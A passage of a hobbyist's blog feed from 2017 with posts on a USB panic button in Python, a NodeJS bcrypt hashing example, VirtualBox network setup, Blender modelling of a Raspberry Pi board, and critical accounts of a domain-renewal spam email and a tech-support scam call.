SyntaxError: invalid syntax</code>

Drat! It still does not work. Maybe I should try old Python.

<code>pi@raspberrypi:~/button_test $ sudo python PanicButton.py </code>
<code class="output">Traceback (most recent call last):
  File "PanicButton.py", line 33, in &lt;module&gt;
    button = PanicButton()
  File "PanicButton.py", line 17, in __init__
    raise ValueError("Panic Button not found")
ValueError: Panic Button not found</code>

Double drat! Oh! Hang on. What is that last line? "Panic Button not found". I had not plugged the button in and it had detected it missing !!

<code>pi@raspberrypi:~/button_test $ sudo python PanicButton.py </code>
<code class="output">Pressed
Pressed
Pressed</code>

Every time I pressed the button (or more accurately, released the button) "Pressed" was displayed. 

So it works but not with Python3, annoying because we are using Python3 for everything else.

I could have written a new file but instead I just ran Python3 and copied and pasted the relevant lines.

<code>pi@raspberrypi:~/button_test $ sudo python3</code>
<code class="output">Python 3.4.2 (default, Oct 19 2014, 13:31:11) 
[GCC 4.9.1] on linux
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; import usb.core
&gt;&gt;&gt; dev = usb.core.find(idVendor=0x1130, idProduct=0x0202)
&gt;&gt;&gt; dev
&lt;usb.core.Device object at 0xb67c5b70&gt;
&gt;&gt;&gt; dev.detach_kernel_driver(0)
Traceback (most recent call last):
  File "&lt;stdin&gt;", line 1, in &lt;module&gt;
  File "/usr/local/lib/python3.4/dist-packages/usb/core.py", line 695, in detach_kernel_driver
    self._ctx.backend.detach_kernel_driver(self._ctx.handle, interface)
  File "/usr/local/lib/python3.4/dist-packages/usb/_debug.py", line 52, in do_trace
    return f(*args, **named_args)
  File "/usr/local/lib/python3.4/dist-packages/usb/backend/libusb10.py", line 565, in detach_kernel_driver
    _check(_lib.libusb_detach_kernel_driver(dev_handle, intf))
  File "/usr/local/lib/python3.4/dist-packages/usb/backend/libusb10.py", line 357, in _check
    raise USBError(_str_error[retval.value])
usb.core.USBError: Entity not found
&gt;&gt;&gt; dev.ctrl_transfer(bmRequestType=0xA1, bRequest=1, wValue=0x300, data_or_wLength=8, timeout=500)[0]
0
&gt;&gt;&gt; dev.ctrl_transfer(bmRequestType=0xA1, bRequest=1, wValue=0x300, data_or_wLength=8, timeout=500)[0]
1
&gt;&gt;&gt; </code>

Ha ha! That zero was when I had not touched the button and unsurprisingly 1 is when I had pressed (and released) the button.

The error is simply the button already not being attached to the default kernel HID driver.
</description>
</item>
<item>
<title>hash a bye bcrypt with your salty workload</title>
<pubDate>Sat, 03 Jun 2017 14:20:38 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jun2017.html#p030620171420</link>
<description>
This is a NodeJS program I created for testing out how the bcrypt module worked for hashing and comparing passwords
<code>// NodeJS console app using the bcrypt module
const bcrypt = require('bcrypt');
console.log('Bcrypt node module example');
console.log('==========================');

var password='default';
var hash;
var workload=12;
if (process.argv.length&gt;=4) {
  password=process.argv[2];
  workload=parseInt(process.argv[3], 10);
  console.log('Input parameters');
  console.log('================');
  console.log('Password:'+password);
  console.log('Workload:'+workload);
  if (process.argv.length==5) {
    hash=process.argv[4];
    console.log('Hash:'+hash);
  }
} else {
  console.log('Usage');
  console.log('[password] [workload] (hash)' + process.argv.length);
  return;
}

bcrypt.hash(password, workload, function(err, hash) {
  console.log('================');
  console.log('New hash:' + hash);
  if (err) console.log('Hash generation error:' + err);
});

if (hash) {
  bcrypt.compare(password, hash, function(err, res) {
    if(res) {
      console.log('Password matched');
    } else {
      console.log('No match');
    }
    if (err) console.log('Compare error:' + err);
  });
}
</code>

It takes a [em]Password[/em] a [em]Workload[/em] and an optional [em]Hash[/em]. The [em]Password[/em] is the plain text for hashing and the [em]Workload[/em] represents the weight the algorithm must use to create the hash. Once you have run it with a fresh password then you can use the generated hash in future runs.

If you set the [em]Workload[/em] too high then your machine will hang doing the work. 10-12 seem ideal.

What you might be missing in this example is a [em]Salt[/em]. Bcrypt takes care of this by including a cryptographically strong [em]Salt[/em] in the resultant [em]Hash[/em]. Why would you store the [em]Salt[/em] with the [em]Hash[/em]? It is what you would do in a database record anyway and avoids any weak "security by obscurity" solutions.

Bcrypt also stores the [em]Workload[/em] in the [em]Hash[/em]. Meaning you can create hashes today with workload = n then in ten years you can by using workload = n+c for new hashes and still be able to compare the original hash.

This is all far better than creating a SHA512 hash of a password then generating a random value as a salt storing it in a database. Then recreating the hash when a password is tried and the comparing the resultant hashes. Because bcrypt uses a variable workload value any cracker must build a rainbow table for each hash deal with the computational impact of the workload per computed hash.

Very clever stuff, so just need to wait until some math proof breaks in all ;)
</description>
</item>
<item>
<title>pay for no reason and do it now before it is to late</title>
<pubDate>Mon, 29 May 2017 17:45:37 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2017.html#p290520171745</link>
<description>
You know what I hate? Legal parasitism, that is, things that are not illegal but are so close that they should be.

A good example is the <a href="http://www.jumpstation.co.uk/flog/Jan2008.html#120120082156">"Star registry"</a> where you can "Name a star" but, of course you cannot, in any meaningful way.

Today I got a "Domain Alert: ########## This is your Final Reminder of Domain - ##########.COM" email. Which is odd because I have not received any non-final reminders and my domain registrar takes care of these things.

Sadly this is not the first time I have had any email worded in this way. I almost admire the effort that has gone into this spam.

1. My name and my Domain name with the urgency of a "Final" reminder.
2. The first 18 lines then reinforce the urgency and the official nature of the email by quoting my domain registration details, name, address. There is also a deadline of two days after the email was sent.
3. Line 19 uses the term "PART I: REVIEW SOLICITATION" which is their first legal "get-out".
4. The next 8 lines claim to be saving you from losing your domain and again attempt to appear genuine.
5. Another casual "get-out" line "Privatization allows the consumer a choice when registering."
6. Finally a line that makes sense "You are under [em]no obligation to pay the amounts stated below unless you accept this proposal[/em]. Do not discard, this notice is [em]not an invoice[/em] it is a courtesy reminder to register your domain name search engine registration so your customers can locate you on the web."
7. Followed by "This Notice for: WWW.###########.COM will be terminated on May 29, 2017 Act today!", which can be read in two ways. 
8. Then a price list and how to make payments.
9. At the very end is the juicy "small text".
<code>
By accepting this proposal, you agree not to hold DS liable for any part. Note that [em]THIS IS NOT A BILL. This is a solicitation. You are under no obligation to pay the amounts stated[/em] unless you accept this proposal. The information in this letter contains confidential and/or legally privileged information from the notification processing department of the DS 3501 Jack Northrop Ave. Suite #F9238 Hawthorne, CA 90250 USA, This information is intended only for the use of the individual(s) named above. [em]There is no pre-existing relationship between DS and the domain mentioned above.[/em] This notice is [em]not in any part associated with a continuation of services for domain registration[/em]. Search engine submission is an optional service that you can use as a part of your website optimization and alone may not increase the traffic to your site. If you do not wish to receive further updates from DS reply with Remove to unsubscribe. If you are not the intended recipient, you are hereby notified that disclosure, copying, distribution or the taking of any action in reliance on the contents of this letter is strictly prohibited.
</code>

Where to start?

This email is very clearly laid out to deliberately deceive the reader while offering enough legal "get-outs" that the company cannot get sued. When first glancing through the email the clear intention is to appear official, in-fact the only place this point is clarified is the small text "There is no pre-existing relationship between DS and the domain mentioned above. This notice is not in any part associated with a continuation of services for domain registration." But the small text is never referenced and looks like standard email disclaimer text and even appears after a row of dashes separating it from the main email body.

As we already know this is spam, note 7 above reads that the [em]email[/em] is the [em]notice[/em] referred to and not the domain. But, when the email is taken at face value then the [em]termination[/em] mentioned appears to be your domain !!

"Do not discard, this notice is [em]not an invoice[/em]" Except every part of the mail does appear to be an invoice.

Always read the small print!

Of course this is all my personal opinion and nothing illegal is taking place. This has been going on for years so people must be a)falling for it or b)accepting the solicited services in complete knowledge of what it is. All emphasise has been added by me for clarity.

I feel so much better after that rant.
</description>
</item>
<item>
<title>what no pi</title>
<pubDate>Mon, 29 May 2017 16:58:14 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2017.html#p290520171658</link>
<description>
No Raspberry Pi Hi-Res updates for a bit. I have "Joe's Robot Challenge" and work thing to "work" on. Not to mention catching up on "Game of Thrones" and "Futurama". Life is very busy!

That said, something today infuriated me so I guess I will blog on that, such is internet tradition.
</description>
</item>
<item>
<title>pi power front and back</title>
<pubDate>Mon, 15 May 2017 21:31:25 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2017.html#p150520172131</link>
<description>
Raspberry Pi 3 HiRes
(slow but steady)

[X]Board in Blender
-[X]Measure board  
-[X]Model
-[X]Texture
-[X]Components on the bottom
-[ ]Components on the top
--[X]GPIO pins
--[X]Camera connector
--[X]Display connector (identical to the camera connector)
--[X]Broadcom chip
--[X]Other chip (networking and USB, I think)
--[X]USB power connector
--[ ]HDMI connector
--[ ]Headphone jack
--[ ]Ethernet connector
--[ ]USB connector pair x2 (making four)
--[ ]Micro components, like capacitors (loads of these)

Both the chips are done. Because they are just cuboids it is very straightforward to create the correct UV(making sure scaling is applied). As I had already separated the chip images I just copy and pasted them onto the exported UV image and then used the GIMP fill from pattern-clipboard to do the sides and bottom.

USB Power connector took about 1.5hrs. Started with a plane and [em]Mirror Modifier[/em] and then just went to town extruding edges. Once the flat shape was complete I added a [em]Solidify Modifier[/em] and the metal sheets had some depth. The [em]Mirror Modifier[/em] is my new best friend after using it for the CSI connectors. It really is the best way to deal with symmetrical models.

Another neat trick I found was to create a Cube on the main circuit board model position and scale it then set it to display only as wire-frame. Move it to another layer, do all my modelling within the box and then when I switched back to the main model it fitted perfectly.

<img src="images/pi3_usb_pwr_x2_connector.jpg" alt="rendering of raspberry pi circuit board highlighting the USB power connector x2">
</description>
</item>
<item>
<title>how i killed sudo and then the internet</title>
<pubDate>Sat, 13 May 2017 16:23:04 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2017.html#p130520171623</link>
<description>
How I killed [em]sudo[/em], but first, what the hell I was trying to do.

I had three VMs in VirtualBox and needed to network them together. The documentation is a bit vague on this but the answer is quite simple.

In the VM network settings add a [em]new adaptor[/em] and set is as [em]Host[/em]. Then in the the VirtualBox network settings for the Host adaptors make sure [em]DHCP is disabled[/em].

Now when you look at the network adaptors in the VMs they will have another interface that is missing the IP address, netmask etc.
You can either manually set this, but lose it on reboot or set a permanent static address.

This is easy. Edit [em]/etc/network/interfaces[/em] and add the static entry. For me this was
<code>
#virtual host network static IP address
auto enp0s8
iface enp0s8 inet static
address 10.0.3.1
network 10.0.3.0
netmask 255.255.255.0
gateway 10.0.2.2
dns-nameservers 8.8.8.8 10.0.2.2</code>
(do not use this example unless you know what you are doing, it caused more problems, [em]read the whole post to fix[/em])

Where 10.0.3.1 is your machines IP address. 10.0.3.n is favoured as VirtualBox’s interfaces e.g. 10.0.2.X for interface 1 then 10.0.3.X for interface 2 and so on.

Hang on, I thought this post was about killing [em]sudo[/em].

So on the first machine I made this change rebooted and everything looked good but on the second one, after making the change and rebooting I tried [em]sudo ifconfig[/em] and got nothing …
It just sat there CTRL+c would get me back to the bash prompt but nothing else.

Tried lots of commands with sudo and got nowhere
...snip…
...found lots and lots of posts about sudo not working but ALL of the them displayed error messages, none just "hung".
...time passes..

I think to myself I only changed the [em]/etc/network/interfaces[/em] file maybe I should start there.
Low and behold there was my mistake.

<code>
#virtual host network static IP address
auto enp0s8
iface enp0s8 inet [em]dhcp[/em]
address 10.0.3.2
network 10.0.3.0
netmask 255.255.255.0
gateway 10.0.2.2
dns-nameservers 8.8.8.8 10.0.2.2</code>

AGHhhh! It was set to [em]dhcp[/em] not [em]static[/em].

The [em]sudo[/em] command was stuck trying something network-ish and taking ages to timeout.

I tested this and that was what it was. [em]sudo[/em] had not hung but was waiting for a network timeout.

Edited the [em]/etc/network/interfaces[/em] entry to be static and everything started working again. 

Phew

P.s. I could then get each VM to ping 10.0.3.1 ,2,3 without issue.

--HALT-- 

AGHhhh now I cannot get to any external addresses!

Needed to remove the [em]default gateway[/em] from the [em]second[/em] network adaptor.
<code>route -n</code>
<code class="output">Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.2.2        0.0.0.0         UG    0      0        0 [em]enp0s8[/em]
10.0.2.0        0.0.0.0         255.255.255.0   U     0      0        0 enp0s3
10.0.3.0        0.0.0.0         255.255.255.0   U     0      0        0 enp0s8
</code>
<code>
sudo route del default
</code>

Comment out the

<code>
#network 10.0.3.0
#gateway 10.0.2.2
#dns-nameservers 8.8.8.8 10.0.2.2
</code>

Lines in  [em]/etc/network/interfaces[/em]  

<code>sudo service networking restart</code>

So it becomes
<code class="output">
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         10.0.2.2        0.0.0.0         UG    0      0        0 [em]enp0s3[/em]
10.0.2.0        0.0.0.0         255.255.255.0   U     0      0        0 enp0s3
10.0.3.0        0.0.0.0         255.255.255.0   U     0      0        0 enp0s8
</code>
Last quick check. 

[X] Can ping other VMs
[ ] Can ping google.com (but does DNS)
[X] Can curl google.com

Not quite sure why I cannot ping google.com. But it does resolve and actual TCP/IP calls works(curl).

Now it’s sorted.
</description>
</item>
<item>
<title>CSI Pi x2 forensics</title>
<pubDate>Sat, 13 May 2017 11:31:27 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/May2017.html#p130520171131</link>
<description>
Raspberry Pi 3 HiRes
(lots to do but, lots done!)

[X]Board in Blender
-[X]Measure board  
-[X]Model
-[X]Texture
-[X]Components on the bottom
-[ ]Components on the top
--[X]GPIO pins
--[X]Camera connector
--[X]Display connector (identical to the camera connector)
--[ ]Broadcom chip
--[ ]Other chip (networking and USB, I think)
--[ ]USB power connector
--[ ]HDMI connector
--[ ]Headphone jack
--[ ]Ethernet connector
--[ ]USB connector pair x2 (making four)
--[ ]Micro components, like capacitors (loads of these)

It is quite difficult getting the exact details at this scale and I have already made some cosmetic alterations. I might revisit these at the end, they are not obvious.
The first one is the pins in the SD card slot are shifted over by the slight misalignment of the window hole that you can see the spring in. The second is the shifting of the GPIO pins to match the solder points on the underside of the board. The top and bottom textures are not quite the same size :( If it affects any of the other components with obvious solder points on the underside of the board I will have to fix the texture.

The ReMesh modifier on the SD card slot was a bit more expensive than I first thought. 120k faces created! But looked pretty. Applying the Decimate modifier over and over again got it down to a very reasonable 600 faces.

The display connector caused some concern. None of the photos are looking at the board from the outside, meaning the current perspective hides all the detail on the outer side of the connector. I had to do some gimping to restore the white box that holds the connector before I could start work on the 3D object.

<img src="images/pi3_with_csi_connectors.jpg" alt="rendering of modelled raspberry pi circuit board highlighting the CSI connectors">
</description>
</item>
<item>
<title>sd card rendered with background chip</title>
<pubDate>Sat, 29 Apr 2017 17:59:28 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p290420171759</link>
<description>
Raspberry Pi 3 HiRes
(pi time)

[X]Board top image sans major components
[X]Board bottom image sans major components
[X]Board in Blender
-[X]Measure board  
  My measurements 84.8x55.9x1 mm curved corners 2.5mm
  Official schematics 85x56 curved corners 3mm
-[X]Model
-[X]Texture
-[X]Components on the bottom
--[X]Chip
--[X]SD slot
--[X]Model Solder types
---[X]Add Solder types
--[X]Plastic through clip x2

While reviewing the solder I noticed the ethernet port has two black plastic through clips. They are rounded crosses, added them before adding the chip.

As I already had the image for the chip it was very simple to use the GIMPs clone brush to texture the sides.

The SD card slot is a simple extruded plane with Bevel and Solidify modifiers and lots of Boolean holes. This left a lot of bad geometry but a ReMesh modify whacked up to Oct tree depth 8 fixed that.
I did try a transparency mask, but the results had no edges and the close up of that looked weird.

FYI the ReMesh has created a beautiful SD card slot, but it is very complicated and I can not see and easy way to simplify the geometry, even though most of it is flat.

<img src="images/pi3_with_sdcardslot.jpg" alt="rendering of modelled raspberry pi circuit board close up on SD card slot">
</description>
</item>
<item>
<title>Soldering up the hires pi bottom</title>
<pubDate>Sat, 29 Apr 2017 14:43:31 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p290420171443</link>
<description>
Raspberry Pi 3 HiRes
(if not now then when)

[X]Board top image sans major components
[X]Board bottom image sans major components
-[X]Model
-[X]Texture
-[ ]Components on the bottom
--[ ]Chip
--[ ]SD slot
--[X]Model Solder types
---[X]Add Solder types

129 solder objects. Four main types and most individually placed and sized. I had to set the material to red to be able to see how they were places against the texture.

<img src="images/circuitboard_solderx3.jpg" alt="raspberry pi 3d render showing solder silver, red and zoomed out">
</description>
</item>
<item>
<title>displaced bump map sues for normal</title>
<pubDate>Thu, 20 Apr 2017 23:07:00 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p200420172307</link>
<description>
Quick Blender side

Every time I try and do Bump maps in Cycles it fails or sort of works but not quite.

This was a quick experiment that does work.

<img src="images/bump_map_displacement_cube.png" alt="screen shot of 3d software blender showing a displacement via image node on a textured cube">

The stepped pyramid with the numbers on is the original UV used as texture then the larger one underneath is the input to the displacement.

You can clearly see how different luminosity affect the height.

Apparently I should be using normal maps, but that is for another day.
</description>
</item>
<item>
<title>My internets are slow and you want me to do what</title>
<pubDate>Mon, 17 Apr 2017 21:47:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p170420172147</link>
<description>
I got one of those tech support phone call scams. Was feeling left out as just about everyone I know has had one.

The guy said he was from BT and that my internets were slow, so I led him on a merry goose chase and along with his colleagues managed to rack up 30mins.

Started off with taking ages for my PC to turn on, I then dutifully agreed that Event viewer showed lots of system errors. Then every time he tried to open a browser to teamviewer I would report "500 Server error". He tried another site which I claimed timed out before he changed tack and got me to download Chrome, which mysteriously would not install. At this point I give him the actual error message LUbunut was giving trying to install PC Anywhere. That was when I got bumped for the third time to a technical supervisor and I told them I could not spend any more time with them.

Of course I made sure to big up his original comment and the reason for the call that my Internets were slow. Oh dear, every action took ages and as they all got angrier and louder I had to say I do not understand the line is breaking up with the shouting (which it was).

They promised to call back again today, but unfortunately I was out.

Makes we wonder what their hit rate is vs the hang ups and the time wasters.
</description>
</item>
<item>
<title>holy bezier pi man</title>
<pubDate>Tue, 11 Apr 2017 20:43:16 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p110420172043</link>
<description>
Raspberry Pi 3 HiRes
(cos why not)

[X]Board top image sans major components
[X]Board bottom image sans major components
[X]Board in Blender
-[X]Measure board  
  My measurements 84.8x55.9x1 mm curved corners 2.5mm
  Official schematics 85x56 curved corners 3mm
-[X]Model
-[X]Texture
-[ ]Components on the bottom
--[ ]Chip
--[ ]SD slot
--[ ]Solder types

It is nice and Holy now!

I simply added some Bezier circles into the rounded corner 2D plain, extruded it and then touched up the texture map. This is why it is a good idea to keep all the source objects around.
<img src="images/circuitboard_good_holes.jpg" alt="rendering of modelled raspberry pi circuit board extreme close up show fixing holes">

There was also the obligatory texture wrangling.
</description>
</item>
<item>
<title>Alpha pi and holy corners</title>
<pubDate>Tue, 04 Apr 2017 23:15:52 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p040420172315</link>
<description>
Raspberry Pi 3 HiRes
(cos no one else is that pedantic)

[X]Board top image sans major components
[X]Board bottom image sans major components
[ ]Board in Blender
-[X]Measure board  
  My measurements 84.8x55.9x1 mm curved corners 2.5mm
  Official schematics 85x56 curved corners 3mm
-[-]Model (partially)
-[X]Texture

So I had done most of the work getting the bottom of board ready, just had not finalised it. Once that was done I used my digital calipers to measure the board. Then I checked online and found the [url title="schematics"]https://www.raspberrypi.org/documentation/hardware/raspberrypi/schematics/README.md[/url].

My measurements were only 10ths of a millimetre off!

So I had a plan. Create a cube in Blender and scale it to the circuit board size.
<img src="images/circuitboard_bad_nosubs.png" alt="rendering of badly modelled raspberry pi circuit board">

OK I knew there were rounded corners so I will just apply a subsurf modifier.
<img src="images/circuitboard_bad_subs.png" alt="rendering of badly modelled raspberry pi circuit board subserf'd">

hmmm that seems to have distorted it somewhat.

Time for something new. This time I started with a plane and subdivided the sides to add vertexes to define the corners (using the official measurements) and set the segments to be NURBS to get the curves. The curves looked good but close up they extended and warped much more than just the corners. The fix was just to create more vertexes to define the other end of the curve(away from the corner) and set their location to be the same.
<img src="images/circuitboard_good_no_holes.png" alt="rendering of modelled raspberry pi circuit board extreme close up">

And that was it .. a part from the 2 hours of texture wrangling. This included trying to chase down a bizarre single pixel seam that for no good reason existed on the top edge away from all the other texture face islands. Also I had to learn about GIMP's transparency [em]Threshold Alpha...[/em] tool to avoid the edges of the textures being see-through in the model.

Next will be to create the holes in the board. Got a couple of ideas ...
</description>
</item>
<item>
<title>pi recipe</title>
<pubDate>Sat, 01 Apr 2017 10:56:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Apr2017.html#p010420171056</link>
<description>
Raspberry Pi 3 HiRes
(cos no one else will)

Drat! convinced myself I had completed both the [url title="HiRes"]http://www.jumpstation.co.uk/flog/Nov2016.html#p261120161411[/url] top and bottom of the Pi. At least I was able to find official schematics for the size of the board and they match pretty well with my measurements.

[X]Board top image sans major components
[ ]Board bottom image sans major components
[ ]Board in Blender
-[X]Measure board  
  My measurements 84.8x55.9x1 mm curved corners 2.5mm
  Official schematics 85x56 curved corners 3mm
-[ ]Model
-[ ]Texture
</description>
</item>
<item>
<title>MOAR Blender listed targets part 1</title>
<pubDate>Fri, 31 Mar 2017 17:50:51 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p310320171750</link>
<description>
With the [url title="Two Minute Tentacle"]http://www.jumpstation.co.uk/flog/Mar2017.html#p280320172107[/url] and [url title="Xmas 2016"]http://www.jumpstation.co.uk/flog/tags.html?tag=xmas2016[/url] Blender projects complete I can finally get back to my [url title="Raspberry pi 3"]http://www.jumpstation.co.uk/flog/archive/Nov2016.html#p261120161411[/url] detailed model.

Previously I had the [url title="HiRes Textures"]http://www.jumpstation.co.uk/flog/archive/Nov2016.html#p261120161411[/url] now I need to make all the components.

Reverse Side:
[ ]Solder blob large
[ ]Solder blob small
[ ]Solder blob small flat
[ ]Chip x1
[ ]SD card slot

Top Side:
list coming soon

question is, can I get this done before a new Pi is released ;)
</description>
</item>
<item>
<title>Video of the two minute tenacle</title>
<pubDate>Tue, 28 Mar 2017 21:07:35 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p280320172107</link>
<description>
[url title="The Blender Two Minute Tentacle"]http://www.jumpstation.co.uk/flog/Mar2017.html#p270320172200[/url]
<iframe width="560" height="315" src="https://www.youtube.com/embed/eJDUTIHAieA" frameborder="0" allowfullscreen></iframe>
</description>
</item>
<item>
<title>stretching the two minute tentacle</title>
<pubDate>Mon, 27 Mar 2017 22:00:59 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p270320172200</link>
<description>
So, was the [em]Two Minute Tentacle[/em] too quick for you?

Have no fear! Lets break it down a bit.

First of all, unlike 99% of tutorials 
[em]KEEP the default cube[/em]

[em]TAB[/em] to Edit mode
[em]'w'[/em] select [em]subdivide[/em] - set number of Cuts to 2
Set the selection mode to [em]Faces[/em] 
[em]CTRL + NUM 7[/em] - switch to bottom view
select the center face
[em]'z'[/em] to set view mode to wire-frame, so we can see the next bit clearly
[em]NUM 1[/em] - switch to front view
[em]'e'  ".1" [ENTER][/em] - extrude a new section and move it .1 in the z axis
[em]'e'  ".5" [ENTER][/em] - extrude a new section and move it .5 in the z axis
[em]'s' "3" [ENTER][/em] - now scale the new section x3 it's original size
[em]'e' [ENTER][/em] - another extrusion, but just let it stay where it is, we move it in a moment
[em]'s' ".2" [ENTER][/em] - scale the extrusion down
[em]'g' 'z' ".4" [ENTER][/em] - move(grab), set Z axis and move it .4 up

<img src="images/blendertentacle/tentacle_process_extruding_sucker.png" alt="screen shot of 3d software blender showing a extrusion that will become a tentacle sucker">

[em]'z'[/em] - switch the view mode back to solid
[em]NUM 5[/em] - set view to ortho, no perspective
[em]NUM 1[/em] - switch to front view
set face selection to [em]through[/em]
[em]'a'[/em] unselect everything
[em]'b'[/em] select the center column of faces via the mouse bounding box
this also selects the top faces and the back faces. 
used to have lots of steps, switching views doing each side separately
[em]'s' 'x' "2.5" [ENTER][/em] scale on the X axis 2.5
This stops the tentacle segments becoming spheres, will make sense later

[em]TAB[/em] out of Edit mode to Object mode
set Shading [em]Smooth[/em]

[em]SHIFT + 'd' 'y' "3 " [ENTER][/em] duplicate the cube and move it 3 on the Y axis
[em]TAB[/em] to Edit mode
[em]NUM 3[/em] - switch to side view
turn off face selection [em]through[/em] mode
Select 9 squares facing and [em]'delete' "Faces"[/em]
[em]NUM 3[/em] - switch to reverse side view
Select the bottom three faces and the center face
[em]NUM 7[/em] - switch to side view
[em]'g' 'x' "-1.5" [ENTER][/em] grab the selected faces and on the X axis move -1.5
[em]'s' ".5" [ENTER][/em] scale them to half their size
[em]TAB[/em] out of Edit mode to Object mode

<img src="images/blendertentacle/tentacle_process_modeling_tip.png" alt="screen shot of 3d software blender showing a modelled low poly tentacle tip next to a tentacle segment">

[em][SPACE] "Add Bezier (Curve)" [ENTER][/em]
[em]'s' "8" [ENTER][/em] scale the new curve by x8

Select the original cube
[em]TAB[/em] to Edit mode
set face selection to [em]through[/em]
[em]NUM 3[/em] - switch to side view
[em]'a'[/em] unselect everything
[em]'b'[/em] select the faces via the mouse bounding box
[em]'delete' "Faces"[/em]
[em]TAB[/em] out of Edit mode to Object mode

[em]NUM 5[/em] - set view back to perspective

Add [em]Modifier Array[/em]
Fit Type: [em]Fit Curve[/em]
Set [em]Curve[/em] to be [em]"BezierCurve"[/em]
Set [em]Start Cap[/em] to [em]"Cube.001"[/em]

<img src="images/blendertentacle/tentacle_process_array_modifier.png" alt="screen shot of 3d software blender showing tentacle segment with array modifier">

Add [em]Modifier Curve[/em]
Object to [em]"BezierCurve"[/em]

<img src="images/blendertentacle/tentacle_process_curve_modifier.png" alt="screen shot of 3d software blender showing tentacle segment with array and curve modifiers">

Add [em]Modifier Subdivision surface[/em]
Set [em]View[/em] and [em]Render[/em] to [em]3[/em]

And .. the square suckers turn into round ones!

<img src="images/blendertentacle/tentacle_process_subsurface_modifier.png" alt="screen shot of 3d software blender showing tentacle segment with array, curve and subdivision modifiers highlighting how the square sucker is now round">

Select the [em]"Cube.001"[/em] Object 
[em]'m' "2" [ENTER][/em] moves it to layer 2

Select [em]BezierCurve[/em](easiest to find it in the Scene list)
[em]TAB[/em] to Edit mode
Select either end 
Move the view around with the Middle mouse button held down
[em]CTRL + click[/em] to create new segments of the curve

Any changes you make to initial [em]Cube[/em] mesh, like narrowing the top, must be done to the [em]Cube.001[/em] exactly or pieces will not match up.
If you do edit the [em]Cube.001[/em] object make sure to hide and then show the modifiers to see any of your changes reflected.

For the animation at the end I found a cool technique of adding Empties as handles that can then be animated. In edit mode for the curve select a vertice and create and empty as hook via [em]CTRL + H[/em], do this for each vertice you want to control. And before all that I applied the Array modifier to stop the array lengthening as the curve changed.

Finally, to create the split screen quad view at the end of the video. Use the Blender video sequencer and add all your images and videos on different channels and then add a [em]Transform[/em] effect. Set the blend to [em]Over Drop[/em], set the X and Y scaling to 0.5 and set the position to where you want each to sit.

<img src="images/blendertentacle/blender_tentacle_quad_screenshot.jpg" alt="collection of 4 images all featuring a 3d modelled tentacle, on a plate with fork, rising from the sea in the dark, animation still and two colourfully intertwined">

p.s. The original Screencast keys addon is depreciated and one of the reasons is, it does not collect the events during a modal operation like Grab or Scale. But I found a completely [url title="new screencast keys addon"]https://github.com/chromoly/blender-ScreencastKeysMod[/url] that does capture everything. To install, download the zip file, give it nicer name than master.zip and use the blender addon "install from file..." button.

</description>
</item>
<item>
<title>Puking up in the really blue pixel ocean</title>
<pubDate>Sun, 12 Mar 2017 22:20:27 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p120320172220</link>
<description>
Work have sorted me out a new [url title="mobile"]http://www.jumpstation.co.uk/flog/tags.html?tag=mobile[/url] a "really blue"(that is what it says on the box) Google Pixel.

Very nice phone and charges in just 15 minutes! Also came with a dedicated USB C cable and mains adaptor as well as a USB C to micro USB adaptor.

The photo app has PhotoSphere, which is like panorama but full 360. Just like panorama you take a picture then turn the phone and take another, except you are prompted to take pictures above and below you, about 30. The preview when you do this looks terrible, edges mismatch, light differing. But then it magically "processes" the PhotoSphere and PING it is all amazing clear with no mismatched edges and all the colours looking right.
You can then turn the phone and see it update in real-time like VR. It is surprisingly difficult to take a good PhotoSphere, as you keep wanting to move the phone as you rotate it. I found the best solution was to orientate on a light fixture and keep checking the phones location as you turn it.
Need to find out how to get the PhotoSpheres off the phone...

As VR "like" as PhotoSpheres are I also managed to wrangle a Google Cardboard. The Cardboard comes flat packed with no instructions. Rather annoyingly my version is also not the version all the YouTube video explain in excruciating detail how to build!

Once built, the phone has very little to hold it in place and the "switch" is not very responsive. It is just a metal washer and magnet.

The VR experiences are a bit rubbish. Maybe I have been spoilt with the [url title="HTC Vive"]http://www.jumpstation.co.uk/flog/tags.html?tag=htcvive[/url]. The graphics are very low poly count and you can not move in 3D space.

That last one made me quite sick after a short while. You see, as the Vive tracks all motion, while the Cardboard only tracks rotation. But as you rotate your head you can not help but also moving your neck and body and the visuals then do not match!

There is a slight difference in price though, £700 for the Vive and £5 for the Cardboard.

I was hoping Google's project Tango would be included with the Pixel. Tango tracks the 3D environment around you to determine where in space the phone is. When it works it will the Vive without the lighthouses.
</description>
</item>
<item>
<title>bastardised usb cable lets motog live a few more months</title>
<pubDate>Sun, 12 Mar 2017 21:40:54 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Mar2017.html#p120320172140</link>
<description>
Could have sworn I had blogged about a little problem I was having with my [url title="mobile"]http://www.jumpstation.co.uk/flog/tags.html?tag=mobile[/url]. I had certainly consulted with a number of people.

You see my lovely MotoG Android phone was not charging. It was not the battery per say but the charging point. It did not matter how many different cables I tried none would make the connection and start the charging.

I tried jeweller's lenses and a USB microscope, but there was nothing  obviously wrong with the port. I used compressed air and cotton bud to try and clean it but, there was never any dirt in the port.

I did find that holding the cable in with brute force did work, so I devised a plan. I could not hold the cable in all night to charge but if I could build something.

